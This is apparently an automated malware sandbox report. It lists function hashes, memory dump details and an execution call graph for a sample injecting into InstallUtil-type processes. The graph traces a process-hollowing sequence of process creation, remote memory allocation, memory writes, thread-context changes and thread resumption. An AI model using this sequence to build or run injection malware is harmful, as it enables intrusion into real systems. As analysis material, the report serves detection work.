                                                                            • Opcode ID: 5efe462e0ec4bcbdb217b1ab84953138b35e8cce368ed7364c4d302f837110d5
                                                                            • Instruction ID: c82ec5392755a50dbfcd66836926eebc4dbd79bcd362b92678eaff7b9644cb99
                                                                            • Opcode Fuzzy Hash: 5efe462e0ec4bcbdb217b1ab84953138b35e8cce368ed7364c4d302f837110d5
                                                                            • Instruction Fuzzy Hash: 2101B1B13003058FD724EA24DC54A3B77A2FBC9354F10866DD6164B794CB75EC42CB90
                                                                            Function 07BC0373 Relevance: .0, Instructions: 44COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: d6ea5bcf80857eba5388453cf0df60627e3e46d72e6b47f992487f94704266e1
                                                                            • Instruction ID: 4e79c92756f25aa0c958ab26a189b174fdac7fecb76830142ddc3664c0d83683
                                                                            • Opcode Fuzzy Hash: d6ea5bcf80857eba5388453cf0df60627e3e46d72e6b47f992487f94704266e1
                                                                            • Instruction Fuzzy Hash: 9C018475E14209CFCB18EFB8C85806DBBB1FF85301F11C96DE955AB210DB309885CB90
                                                                            Function 07BCA60F Relevance: .0, Instructions: 42COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 33bdeadbed6ff92078381fcb726a6dc06f1222c3d1fb69ac37af97146b769aad
                                                                            • Instruction ID: 303bd1a0724dea78e41841f2c7567c9759af5bcd5a06861250765691716a3acb
                                                                            • Opcode Fuzzy Hash: 33bdeadbed6ff92078381fcb726a6dc06f1222c3d1fb69ac37af97146b769aad
                                                                            • Instruction Fuzzy Hash: B7012975E04609DFCB01DFA8D5089ADBBF1EF89700B1085AAE149E7250E7309A09CB51
                                                                            Function 07BC3840 Relevance: .0, Instructions: 42COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: c0e1b90e1b15ca7e875fd413b2e378883da4b2d5c77502f4ebb4e2f2eece0343
                                                                            • Instruction ID: f893d1fcec8a07a779c2451e6834f4733833b4dc79df3f50a04c6e3772ff3ca8
                                                                            • Opcode Fuzzy Hash: c0e1b90e1b15ca7e875fd413b2e378883da4b2d5c77502f4ebb4e2f2eece0343
                                                                            • Instruction Fuzzy Hash: 8301A771B001189FDB14DB58D944B9AB7F6EB88300F1081F9D6099B391DE72AD45CB51
                                                                            Function 0123D603 Relevance: .0, Instructions: 37COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2922963123.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_123d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 45ba3723f21f27ca11b1973aad92d3abbbb9fb06759498d06fbb7923aec5a2d1
                                                                            • Instruction ID: b127cfcc00b76fa5681ea148206fd571f0c51725c0d05fe95c023940026e73f6
                                                                            • Opcode Fuzzy Hash: 45ba3723f21f27ca11b1973aad92d3abbbb9fb06759498d06fbb7923aec5a2d1
                                                                            • Instruction Fuzzy Hash: 04F0F9B6210604AF9720CF0AD885C27FBADFBD4770715C55AE94A5B716C672FC41CEA0
                                                                            Function 07BC9AA0 Relevance: .0, Instructions: 36COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 36e2fba2cd2d67560d9c9c5287621f2fc6b3515b33e305069363224f51881a1c
                                                                            • Instruction ID: 2fc1a2a06c4ec97efd3007cbb1aecaf067bd3aaffc6c11f81a296c9d80196f8b
                                                                            • Opcode Fuzzy Hash: 36e2fba2cd2d67560d9c9c5287621f2fc6b3515b33e305069363224f51881a1c
                                                                            • Instruction Fuzzy Hash: 2CF0E9B2B452165FF314D759981072BFBE9EBC9720F18846DE5459B3A0CAB2FC418790
                                                                            Function 0123D5F4 Relevance: .0, Instructions: 35COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2922963123.000000000123D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0123D000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_123d000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: cc8dc8efcf09a2be6296fd083050f43a3b935236d724426644a17e4505bd34c8
                                                                            • Instruction ID: 8bf6ee8625d9299839a7f07113d195439e8b261593cc78b291033dbf4e743105
                                                                            • Opcode Fuzzy Hash: cc8dc8efcf09a2be6296fd083050f43a3b935236d724426644a17e4505bd34c8
                                                                            • Instruction Fuzzy Hash: E5F03775114680AFD725CF06CC85C22BBB9FFC97607198489E85A9B362C671FC42CF60
                                                                            Function 07BC2F50 Relevance: .0, Instructions: 34COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 57574b00fd8fe553ee2619881d8a5a6ba70a05f0189ca1fc76d2ba983ed1db77
                                                                            • Instruction ID: 19572091839fefd8789e6d8a750668d0899958c8f99e994b14094e281e2c3d60
                                                                            • Opcode Fuzzy Hash: 57574b00fd8fe553ee2619881d8a5a6ba70a05f0189ca1fc76d2ba983ed1db77
                                                                            • Instruction Fuzzy Hash: 0DF0EC707403058FEB64B6789825BA6379DEBC2215F1084BDE2158B380EE73DC018790
                                                                            Function 07BC8F08 Relevance: .0, Instructions: 24COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 2b59cbed8b21cb581162a3bde1e79ef8a82ef930dfe7c26d2385970dd9872eab
                                                                            • Instruction ID: d787d0ac2de25768c855733ec81455a2fdbe49a160656ddd0893bb4f663d004f
                                                                            • Opcode Fuzzy Hash: 2b59cbed8b21cb581162a3bde1e79ef8a82ef930dfe7c26d2385970dd9872eab
                                                                            • Instruction Fuzzy Hash: 8CE020B1A147109FE7168B71D8153D57FE29F84711F09C45BE48D9A5D1CF3C48038B80
                                                                            Function 07BC995F Relevance: .0, Instructions: 19COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 7718e6ee93409f613011583a2d5487806ff189ef6a68d4b1b21622a2431dd0a4
                                                                            • Instruction ID: 835fda086f6acaf9af951d726aa6a7456d650514d728adb77d81e08e02329665
                                                                            • Opcode Fuzzy Hash: 7718e6ee93409f613011583a2d5487806ff189ef6a68d4b1b21622a2431dd0a4
                                                                            • Instruction Fuzzy Hash: 2AD012A1600154A7E704BAF965246AE72AEDFD9710B04C066994F936808D759C014E97
                                                                            Function 07BC8F18 Relevance: .0, Instructions: 18COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 64de0281d77895b0128d083379cece1a8128b6eb16c16aed10ef3cdf30149b1d
                                                                            • Instruction ID: 9d88aa9511963e679275eb02f7e138d6aed763f814df97e7621620d722c7de9b
                                                                            • Opcode Fuzzy Hash: 64de0281d77895b0128d083379cece1a8128b6eb16c16aed10ef3cdf30149b1d
                                                                            • Instruction Fuzzy Hash: DDD05BB1610B208BD729DF67940869ABBDBDFC8621B05C53EE40E46644DF7D58418FC0
                                                                            Function 07BC9970 Relevance: .0, Instructions: 16COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 4951c5083917357fd6f3d9529485777f8856306cfb1d69dc91fd6fafcaf1c531
                                                                            • Instruction ID: 9e23bc00aac8695ac5a32f138b6c223c5272dbacf2b05870fc956ea7551893db
                                                                            • Opcode Fuzzy Hash: 4951c5083917357fd6f3d9529485777f8856306cfb1d69dc91fd6fafcaf1c531
                                                                            • Instruction Fuzzy Hash: 49D0C9B530019457DB08AABAA4245BF76CFDBCA650B04806A9A0EC3B44DD74DC024A9A
                                                                            Function 07BC9F40 Relevance: .0, Instructions: 13COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 0517a0be6a414d4e8f5e70e243f5ed2176308ab4ae07ce465eec3fda36e79a12
                                                                            • Instruction ID: c12b2347baa4506d4b9b0775252a941ea42cb00b0745f27be9e95f8055e2471b
                                                                            • Opcode Fuzzy Hash: 0517a0be6a414d4e8f5e70e243f5ed2176308ab4ae07ce465eec3fda36e79a12
                                                                            • Instruction Fuzzy Hash: F0C0023B3500149F87009B6DF884C99B7B9EBD9675320816BF209CB230C67298159B50
                                                                            Function 07BC8EB8 Relevance: .0, Instructions: 11COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 57d41e83e5d16ebe8eb15139ce690b94ef55e6b5c9ed34efe755eed2d4676d1e
                                                                            • Instruction ID: f9f070a65e3fec847578ea2893202a48ff700a6c70e8a723fca9f531c909b4a0
                                                                            • Opcode Fuzzy Hash: 57d41e83e5d16ebe8eb15139ce690b94ef55e6b5c9ed34efe755eed2d4676d1e
                                                                            • Instruction Fuzzy Hash: 7EC08CF040430E8FEB20AB50D409322775DEB0422AF5052DEEC0C05141DB7A64AAC692
                                                                            Function 07BC23E0 Relevance: .0, Instructions: 7COMMON
                                                                            Download Yara Rule
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID:
                                                                            • API String ID:
                                                                            • Opcode ID: 1af0498236bec8c0d48721c0a3cdcea0550476647a941280b428b198c8b58f9b
                                                                            • Instruction ID: ba908a60711723f21570ca04b6a337cb070bb37d57d94fd2eef72eca83938813
                                                                            • Opcode Fuzzy Hash: 1af0498236bec8c0d48721c0a3cdcea0550476647a941280b428b198c8b58f9b
                                                                            • Instruction Fuzzy Hash: 2BB09232001208AB87009A84E858859BB69AB98740710C025B6094A1129B32A822DB98

                                                                            Non-executed Functions

                                                                            Function 07BC0040 Relevance: 5.2, Strings: 4, Instructions: 183COMMON
                                                                            Download Yara Rule
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000001.00000002.2949443027.0000000007BC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 07BC0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_1_2_7bc0000_InstallUtil.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: (_^q$(_^q$(_^q$(_^q
                                                                            • API String ID: 0-2697572114
                                                                            • Opcode ID: dfcc24f48bb2c750d54851bfcfbb1d282e258f839bc3c335da6f1fa6a86a46f7
                                                                            • Instruction ID: ddb5d166dd9c5bb1acf71dbf30bac4112d2c987580ed6acb55be63bb52338c38
                                                                            • Opcode Fuzzy Hash: dfcc24f48bb2c750d54851bfcfbb1d282e258f839bc3c335da6f1fa6a86a46f7
                                                                            • Instruction Fuzzy Hash: 3E51A0B5B10205CFDB08EFA8D85946E7BB2FF89304B1589AED8069B351DB35DC42CB80

                                                                            Execution Graph

                                                                            Execution Coverage:10.4%
                                                                            Dynamic/Decrypted Code Coverage:100%
                                                                            Signature Coverage:0%
                                                                            Total number of Nodes:166
                                                                            Total number of Limit Nodes:6
                                                                            execution_graph 31317 4505650 31318 4505665 31317->31318 31319 450567b 31318->31319 31322 45058f1 31318->31322 31327 4505937 31318->31327 31323 45056ed 31322->31323 31324 45058f9 31322->31324 31323->31319 31324->31323 31332 4506b10 31324->31332 31336 4506b18 31324->31336 31328 450593d 31327->31328 31330 4506b10 10 API calls 31328->31330 31331 4506b18 10 API calls 31328->31331 31329 45056ed 31329->31319 31330->31329 31331->31329 31333 4506b18 31332->31333 31340 4506be9 31333->31340 31337 4506b2d 31336->31337 31339 4506be9 10 API calls 31337->31339 31338 4506b4f 31338->31323 31339->31338 31341 4506c01 31340->31341 31345 4507320 31341->31345 31360 4507310 31341->31360 31342 4506bd3 31346 4507335 31345->31346 31347 4507357 31346->31347 31375 4508394 31346->31375 31380 45078ef 31346->31380 31385 4507729 31346->31385 31390 4508009 31346->31390 31395 4507989 31346->31395 31399 4507528 31346->31399 31403 45077a7 31346->31403 31408 45081e5 31346->31408 31413 4507c21 31346->31413 31418 4507f7e 31346->31418 31423 45082bc 31346->31423 31428 450781c 31346->31428 31347->31342 31361 4507320 31360->31361 31362 4507357 31361->31362 31363 4508394 2 API calls 31361->31363 31364 450781c 2 API calls 31361->31364 31365 45082bc 2 API calls 31361->31365 31366 4507f7e 2 API calls 31361->31366 31367 4507c21 2 API calls 31361->31367 31368 45081e5 2 API calls 31361->31368 31369 45077a7 2 API calls 31361->31369 31370 4507528 2 API calls 31361->31370 31371 4507989 2 API calls 31361->31371 31372 4508009 2 API calls 31361->31372 31373 4507729 2 API calls 31361->31373 31374 45078ef 2 API calls 31361->31374 31362->31342 31363->31362 31364->31362 31365->31362 31366->31362 31367->31362 31368->31362 31369->31362 31370->31362 31371->31362 31372->31362 31373->31362 31374->31362 31376 45083b4 31375->31376 31433 44cb918 31376->31433 31437 44cb912 31376->31437 31377 4508409 31381 4507911 31380->31381 31383 44cb918 WriteProcessMemory 31381->31383 31384 44cb912 WriteProcessMemory 31381->31384 31382 45073eb 31382->31347 31383->31382 31384->31382 31386 4507733 31385->31386 31386->31385 31387 4507829 31386->31387 31441 44cbac8 31386->31441 31445 44cbac0 31386->31445 31391 4508013 31390->31391 31449 450a2b8 31391->31449 31454 450a2a8 31391->31454 31392 45073eb 31392->31347 31467 450a4d8 31395->31467 31472 450a4c9 31395->31472 31396 45079a1 31485 450a1d0 31399->31485 31490 450a1c0 31399->31490 31400 45073eb 31400->31347 31405 4507729 31403->31405 31404 4507829 31405->31404 31406 44cbac8 NtResumeThread 31405->31406 31407 44cbac0 NtResumeThread 31405->31407 31406->31405 31407->31405 31409 4508009 31408->31409 31410 45073eb 31408->31410 31411 450a2b8 2 API calls 31409->31411 31412 450a2a8 2 API calls 31409->31412 31410->31347 31411->31410 31412->31410 31414 4507c2e 31413->31414 31415 45073eb 31414->31415 31416 450a2b8 2 API calls 31414->31416 31417 450a2a8 2 API calls 31414->31417 31415->31347 31416->31415 31417->31415 31419 4507f96 31418->31419 31495 4508910 31419->31495 31499 4508900 31419->31499 31420 4507fae 31424 45082de 31423->31424 31426 44cb918 WriteProcessMemory 31424->31426 31427 44cb912 WriteProcessMemory 31424->31427 31425 450833e 31426->31425 31427->31425 31429 4507829 31428->31429 31430 4507729 31428->31430 31430->31428 31431 44cbac8 NtResumeThread 31430->31431 31432 44cbac0 NtResumeThread 31430->31432 31431->31430 31432->31430 31434 44cb960 WriteProcessMemory 31433->31434 31436 44cb9b7 31434->31436 31436->31377 31438 44cb918 WriteProcessMemory 31437->31438 31440 44cb9b7 31438->31440 31440->31377 31442 44cbb10 NtResumeThread 31441->31442 31444 44cbb45 31442->31444 31444->31386 31446 44cbac8 NtResumeThread 31445->31446 31448 44cbb45 31446->31448 31448->31386 31450 450a2cd 31449->31450 31459 44cb818 31450->31459 31463 44cb811 31450->31463 31451 450a2ef 31451->31392 31455 450a2cd 31454->31455 31457 44cb818 VirtualAllocEx 31455->31457 31458 44cb811 VirtualAllocEx 31455->31458 31456 450a2ef 31456->31392 31457->31456 31458->31456 31460 44cb858 VirtualAllocEx 31459->31460 31462 44cb895 31460->31462 31462->31451 31464 44cb818 VirtualAllocEx 31463->31464 31466 44cb895 31464->31466 31466->31451 31468 450a4ed 31467->31468 31477 44cb3f8 31468->31477 31481 44cb3f0 31468->31481 31469 450a506 31469->31396 31473 450a4ed 31472->31473 31475 44cb3f8 Wow64SetThreadContext 31473->31475 31476 44cb3f0 Wow64SetThreadContext 31473->31476 31474 450a506 31474->31396 31475->31474 31476->31474 31478 44cb43d Wow64SetThreadContext 31477->31478 31480 44cb485 31478->31480 31480->31469 31482 44cb3f5 Wow64SetThreadContext 31481->31482 31484 44cb485 31482->31484 31484->31469 31486 450a1e5 31485->31486 31488 44cb3f8 Wow64SetThreadContext 31486->31488 31489 44cb3f0 Wow64SetThreadContext 31486->31489 31487 450a1fe 31487->31400 31488->31487 31489->31487 31491 450a1e5 31490->31491 31493 44cb3f8 Wow64SetThreadContext 31491->31493 31494 44cb3f0 Wow64SetThreadContext 31491->31494 31492 450a1fe 31492->31400 31493->31492 31494->31492 31496 4508927 31495->31496 31497 4508949 31496->31497 31503 4508bd0 31496->31503 31497->31420 31500 4508910 31499->31500 31501 4508949 31500->31501 31502 4508bd0 2 API calls 31500->31502 31501->31420 31502->31501 31504 4508bd9 31503->31504 31508 44cb0ed 31504->31508 31512 44cb0f8 31504->31512 31509 44cb0f8 CreateProcessA 31508->31509 31511 44cb2e4 31509->31511 31513 44cb15c CreateProcessA 31512->31513 31515 44cb2e4 31513->31515 31516 44c1840 31517 44c1846 31516->31517 31518 44c17f7 31516->31518 31522 44c19f1 31518->31522 31527 44c18e3 31518->31527 31519 44c183b 31524 44c19f7 31522->31524 31523 44c1b5c 31523->31519 31524->31523 31525 44cbd00 VirtualProtect 31524->31525 31526 44cbd08 VirtualProtect 31524->31526 31525->31524 31526->31524 31528 44c1902 31527->31528 31529 44c1b5c 31528->31529 31530 44cbd08 VirtualProtect 31528->31530 31531 44cbd00 VirtualProtect 31528->31531 31529->31519 31530->31528 31531->31528 31532 44caa90 31533 44caade NtProtectVirtualMemory 31532->31533 31535 44cab28 31533->31535

                                                                            Executed Functions

                                                                            Function 044CAA88 Relevance: 1.6, APIs: 1, Instructions: 68nativeCOMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 825 44caa88-44cab26 NtProtectVirtualMemory 829 44cab2f-44cab54 825->829 830 44cab28-44cab2e 825->830 830->829
                                                                            APIs
                                                                            • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 044CAB19
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 2706961497-0
                                                                            • Opcode ID: a1397132c4f3ffcc74293a7f100bb63de12bede603acdc6e32ad77744ffa9f36
                                                                            • Instruction ID: 57c288765509e27c669bf2e2160d73eacb7f27648dc4f64e686784dfb5a717c1
                                                                            • Opcode Fuzzy Hash: a1397132c4f3ffcc74293a7f100bb63de12bede603acdc6e32ad77744ffa9f36
                                                                            • Instruction Fuzzy Hash: 902124B5D012499FDB10DFAAD880ADEFBF5FF48310F20842AE519A7210D779A941CBA1
                                                                            Function 044CAA90 Relevance: 1.6, APIs: 1, Instructions: 63nativeCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 044CAB19
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: MemoryProtectVirtual
                                                                            • String ID:
                                                                            • API String ID: 2706961497-0
                                                                            • Opcode ID: 6a3f91f616e209bad66db20a1611a52e0668603e2c1080cb3ea5823fb04fb366
                                                                            • Instruction ID: ce033d8be9645107e839f0c9f36cf5712bb98700dbce9ca2c160a6d9d2baae0b
                                                                            • Opcode Fuzzy Hash: 6a3f91f616e209bad66db20a1611a52e0668603e2c1080cb3ea5823fb04fb366
                                                                            • Instruction Fuzzy Hash: F82120B1D003099FCB10DFAAD880ADEFBF5FF48320F20842AE519A3210C735A940CBA0
                                                                            Function 044CBAC0 Relevance: 1.6, APIs: 1, Instructions: 58nativethreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtResumeThread.NTDLL(?,?), ref: 044CBB36
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: 287ba7e9cedef00b44c6a3883221b0b26bbaf2b90cfe259d8ef81d3161458242
                                                                            • Instruction ID: 36b26f7abb5c2bc43d3ebea7d2e59a4db54c0377df0370b4d119e3661f9a2d8c
                                                                            • Opcode Fuzzy Hash: 287ba7e9cedef00b44c6a3883221b0b26bbaf2b90cfe259d8ef81d3161458242
                                                                            • Instruction Fuzzy Hash: 8D2127B1D002488BDB10DFAAC445A9FFBF4EF48320F54842AD459A7640CB78A544CFA5
                                                                            Function 044CBAC8 Relevance: 1.6, APIs: 1, Instructions: 54nativethreadCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • NtResumeThread.NTDLL(?,?), ref: 044CBB36
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1939372003.00000000044C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 044C0000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_44c0000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID: ResumeThread
                                                                            • String ID:
                                                                            • API String ID: 947044025-0
                                                                            • Opcode ID: d4b13c73d6fc7f058676100d8c79dfef5c7c52dbb89ff25cdfededa0f7b7f882
                                                                            • Instruction ID: e103d0a430f749ed7a4aeae9a7a6048316381f0e7e32c2ea8aa7ee6a346dc3bc
                                                                            • Opcode Fuzzy Hash: d4b13c73d6fc7f058676100d8c79dfef5c7c52dbb89ff25cdfededa0f7b7f882
                                                                            • Instruction Fuzzy Hash: AF1114B1D002488FDB10DFAAC485A9FFBF4EF88320F54842ED459A7250CB78A944CFA5
                                                                            Function 00A156D7 Relevance: 6.4, Strings: 4, Instructions: 1407COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 0 a156d7-a156dd 1 a15668 0->1 2 a156df 0->2 3 a1568a-a156c1 1->3 4 a1566a-a15688 1->4 7 a1464e-a14659 3->7 4->3 9 a146d4-a147c9 7->9 10 a14667-a14698 7->10 11 a1469a-a146cf 7->11 35 a15b18 9->35 36 a147cf 9->36 10->7 11->7 35->35 37 a147d7-a14a0a 36->37 37->35 50 a14a10-a14b53 37->50 50->35 57 a14b59-a14c7c 50->57 57->35 64 a14c82-a14da5 57->64 64->35 71 a14dab-a15667 64->71 71->1
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000003.00000002.1903417732.0000000000A10000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A10000, based on PE: false
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_3_2_a10000_StackTrace.jbxd
                                                                            Similarity
                                                                            • API ID:
                                                                            • String ID: TJcq$jjjjjj$$^q$$^q
                                                                            • API String ID: 0-672324049
                                                                            • Opcode ID: 20be9412b14f50ae81ba3c606c13904441a2552c5854475fc46c42c4ffd2611c
                                                                            • Instruction ID: 7d96fb074a733022848e3020abc73686924cdfc5a69973363b9b3a590e205eaa
                                                                            • Opcode Fuzzy Hash: 20be9412b14f50ae81ba3c606c13904441a2552c5854475fc46c42c4ffd2611c
                                                                            • Instruction Fuzzy Hash: 91D2167A250510EFDB4A9F98D958D55BBB2FF4D32471A81D8E2099F232C732E861EF40
                                                                            Function 00A11990 Relevance: 5.4, Strings: 4, Instructions: 360COMMON
                                                                            Download Yara Rule

                                                                            Control-flow Graph

                                                                            • Executed
                                                                            • Not Executed
                                                                            control_flow_graph 125 a11990-a119f1 129 a119f3-a119f7 125->129 130 a119fd-a11a11 125->130 129->130 132 a11a1f-a11a2a 130->132 134 a11a13-a11a16 132->134 134->132 135 a11a18 134->135 135->132 136 a11aa0-a11aa3 135->136 137 a11a43-a11a53 135->137 138 a11ae2-a11af6 135->138 139 a11c82-a11c92 135->139 140 a11de8-a11deb 135->140 141 a11a2c-a11a41 135->141 142 a11a8e-a11a90 135->142 143 a11c6e-a11c75 135->143 144 a11a71-a11a8c 135->144 145 a11a55-a11a5a 135->145 146 a11c94-a11cad 135->146 147 a11b17 135->147 148 a11afb-a11b12 135->148 149 a11ddb-a11de6 135->149 150 a11a5c-a11a6f 135->150 151 a11dbe-a11dd9 call a1113c 135->151 155 a11aa9-a11abc 136->155 156 a11e4d-a11eb9 136->156 137->134 138->134 176 a11c47-a11c4a 139->176 234 a11dee call a12149 140->234 235 a11dee call a12158 140->235 141->134 152 a11a96-a11a9b 142->152 153 a11b18-a11b1b 142->153 164 a11c7b-a11c80 143->164 144->134 145->134 168 a11cb3 146->168 169 a11caf-a11cb1 146->169 147->153 148->134 154 a11da5-a11da8 149->154 150->134 151->154 152->134 153->136 167 a11b1d-a11b6c call a1112c 153->167 171 a11db1-a11dbc 154->171 172 a11daa 154->172 155->156 162 a11ac2-a11ace 155->162 191 a11ebb 156->191 192 a11efe 156->192 161 a11df4-a11dff 161->154 162->156 175 a11ad4-a11add 162->175 164->176 210 a11b78-a11be7 167->210 211 a11b6e-a11b72 167->211 178 a11cb8-a11cba 168->178 169->178 171->154 172->140 172->149 172->151 172->171 179 a11e33-a11e4c 172->179 175->134 181 a11c3c 176->181 182 a11c4c 176->182 186 a11cc5 178->186 187 a11cbc 178->187 181->176 182->139 182->140 182->143 182->146 182->149 182->151 182->179 189 a11c53-a11c67 182->189 